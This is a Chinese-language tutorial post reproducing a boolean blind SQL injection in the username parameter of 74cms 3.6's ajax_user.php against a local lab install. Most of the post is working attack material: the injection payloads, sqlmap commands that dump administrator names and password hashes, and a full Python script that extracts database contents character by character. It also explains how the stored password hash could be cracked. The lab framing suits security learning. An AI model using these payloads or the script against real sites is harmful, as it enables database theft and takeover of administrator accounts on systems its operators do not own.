漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

时间:2022-05-06
本文章向大家介绍漏洞|74cms 3.6 前台SQL注入+Python脚本小练习,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

最近有个74cms v4.2.3任意文件下载的漏洞,本来想试着和74cms 3.6 前台SQL注入漏洞结合下然后取出QS_pwdhash的值进行MD5碰撞,可惜了任意文件下载的漏洞并不影响74cms 3.6,所以就只能先复现下前台注入漏洞了。

本次实验任务

1.复现74cms 3.6 前台SQL注入漏洞。

2.尝试使用Python 自动获取数据库中的数据。

实验工具

1.PHPstudy

2.74cms 3.6 源码 (在文末有提供下载链接)

3.Python 2.7

漏洞复现过程

0x01 下载74cms 3.6并进行安装,安装成功后可以正常访问就是安装成功。

0x02 在http://127.0.0.1/74cms/plus/ajax_user.php在username参数中存在注入点。POST请求如下信息时候由于不存在username为a的用户所以提示false。

构造'or '1'='2进行请求提示false

POST DATA:username=a'or '1'='2&act=get_pass_check

构造'or '1'='1进行请求提示true

POST DATA:username=a'or '1'='1&act=get_pass_check

0x03 根据上面的请求判断http://127.0.0.1/74cms/plus/ajax_user.php中的username参数存在注入的且是布尔型盲注,使用burp Suite拦截该数据包并保存为req.txt。

0x04 使用>sqlmap.py -r req.txt --current-db命令获取当前数据库名信息。

0x05 因为源码是公开的所以对应的数据库表名列名也就已知了,使用如下命令可以获取后台账号密码信息

>E:sqlmap>sqlmap.py -r req.txt --current-db -T qs_admin -C admin_name,pwd,pwd_hash --dump

0x06 最近发布的74cms v4.2.3前台任意文件读取漏洞本来想利用这个漏洞去获取/data/config.php中的$QS_pwdhash值,但是很遗憾这个漏洞并不影响74cms 3.6的版本。为什么要获取$QS_pwdhash呢?因为在代码中数据库存放的pwd字段的值是由md5($admin_pwd.$pwd_hash.$QS_pwdhash)生成的,现在已知pwd,pwd_hash,如果知道QS_pwdhash的值就可能通过碰撞的方式获取到密码的明文信息,虽然有小小的不尽兴,但是为了能够让文章丰满些(不显得low 哈哈~),将这个盲注使用py实现,虽然SQLmap也能跑出来,就当随手练练编程吧。

0x07 粗略写了个脚本用来跑数据,当然这个就是平时练习时候写好的脚本改下就成了,所以推荐大家多多积累自己写的脚本,当要使用的时候就改下模板就好了,当初写这个模板时是为了更方便注入才写的,因为尽可能的将payload写成通用的,这样在传入的变量中就可以直接写入SQL语句,感觉方便些,使用查询语句规范化。

# -*- coding:utf-8 -*-
# -*- By Thinking -*-
import requests
import string
Url = "http://127.0.0.1/74cms/plus/ajax_user.php"
dic = string.letters + string.digits + '_'
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
          'Content-Type': 'application/x-www-form-urlencoded',
          }
postData = "username=a'or %s and '1'='1&act=get_pass_check"
def getLen(Url,Sql):
    sqli =Sql
    for Len in xrange(32):
        payload = '(' + sqli + ')' + '=' + str(Len)
        url =Url
        data = postData %(payload)
        # print data
        rq = requests.post(url, headers=header,data=data)
        if len(rq.content) == 4:
            print 'Length is : ', Len
            return Len
def getData(Url,Sql,Len):
    sqli = Sql
    temp = ''
    for i in xrange(Len):
        for x in dic:
            X = temp + x
            payload = "(select("+ sqli + ")regexp binary '^%s')" %(X)
            url = Url
            data = postData %(payload)
            # print data
            rq = requests.post(url, headers=header,data=data)
            if len(rq.content) == 4:
                temp = temp + x
                print temp
                break
    print 'Data is : ', temp
    return temp
if __name__=="__main__":
    # GetLenSQL = 'select length(pwd_hash) from qs_admin where admin_id=1' # 引号内写入想要查询的SQL语句即可。
 # Length = getLen(Url, GetLenSQL)
    # GetDataSQL = 'select pwd_hash from qs_admin where admin_id=1'        # 引号内写入想要查询的SQL语句即可
    GetLenSQL = 'select length(database())' # 引号内写入想要查询的SQL语句即可
    Length = getLen(Url, GetLenSQL)
    GetDataSQL = 'select database()'        # 引号内写入想要查询的SQL语句即可
    Data = getData(Url, GetDataSQL, Length)

小总结

这次的漏洞复现偏简单了,相信大家都可以做出来,所以大家可以尝试着将重点放在如何更好的使用Python进行盲注这个问题上,我也附上了自己写的代码,欢迎大家一起交流思路和编程写法。

源码和脚本的下载地址:

链接: https://pan.baidu.com/s/1jHAYJ7S 密码: kqdr